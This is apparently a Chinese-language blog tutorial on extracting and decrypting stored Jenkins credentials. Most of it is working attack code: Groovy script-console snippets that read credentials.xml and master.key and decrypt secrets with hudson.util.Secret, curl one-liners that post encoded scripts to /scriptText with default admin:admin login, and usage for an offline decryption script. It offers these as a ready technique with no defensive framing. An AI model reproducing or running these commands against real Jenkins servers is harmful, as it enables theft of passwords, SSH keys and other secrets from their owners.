Jenkins凭证解密技术详解

本文详细介绍了在Jenkins系统中解密credentials.xml文件的技术方法,包括通过脚本控制台直接解密、使用curl命令远程操作,以及通过Python脚本离线解密的具体实现步骤和代码示例。

Jenkins - 解密credentials.xml

如果你在Jenkins系统上拥有脚本控制台访问权限,可以通过以下方式解密credentials.xml中保存的密码:

1
2
3
hashed_pw='$PASSWORDHASH'
passwd = hudson.util.Secret.decrypt(hashed_pw)
println(passwd)

此操作需要在Jenkins系统本身上执行,因为它使用本地的master.key和hudson.util.Secret。

从脚本控制台获取credentials.xml的代码

Windows系统:

1
2
3
4
5
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'cmd.exe /c type credentials.xml'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

Linux/Unix系统:

1
2
3
4
5
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'cat credentials.xml'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

使用curl进行远程操作

Windows系统:

1
curl -u admin:admin http://10.0.0.160:8080/scriptText --data "script=def+sout+%3D+new StringBuffer(),serr = new StringBuffer()%0D%0Adef+proc+%3D+%27cmd.exe+/c+type+credentials.xml%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%3E+%24sout+err%3E+%24serr%22&Submit=Run"

子目录文件访问语法:

1
curl -u admin:admin http://10.0.0.160:8080/scriptText --data "script=def+sout+%3D+new StringBuffer(),serr = new StringBuffer()%0D%0Adef+proc+%3D+%27cmd.exe+/c+type+secrets%5C\master.key%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%3E+%24sout+err%3E+%24serr%22&Submit=Run"

Linux/Unix系统:

1
curl -u admin:admin http://10.0.0.160:8080/scriptText --data "script=def+sout+%3D+new StringBuffer(),serr = new StringBuffer()%0D%0Adef+proc+%3D+%27cat+credentials.xml%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%3E+%24sout+err%3E+%24serr%22&Submit=Run"

解密密码

1
curl -u admin:admin http://10.0.0.160:8080/scriptText --data "script=println(hudson.util.Secret.fromString('7pXrOOFP1XG62UsWyeeSI1m06YaOFI3s26WVkOsTUx0=').getPlainText())"

离线解密工具

如果你只有文件但没有Jenkins访问权限,可以使用:https://github.com/tweksteen/jenkins-decrypt

文章中提供了一个修改版的Python解密脚本,主要修改了第55行的正则表达式处理逻辑,直接输出解密后的密码值而不是使用正则匹配。

脚本使用方式:

1
./decrypt.py <master.key> <hudson.util.Secret> <credentials.xml>

注意事项:

  • 脚本默认只正则匹配password标签(第72行),如果需要解密SSH密钥或其他密钥,可能需要修改正则表达式
  • 支持新旧两种密码格式的解密
  • 使用AES加密算法进行解密操作

该技术文章提供了完整的Jenkins凭证解密技术方案,涵盖了在线和离线两种场景下的具体实现方法。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计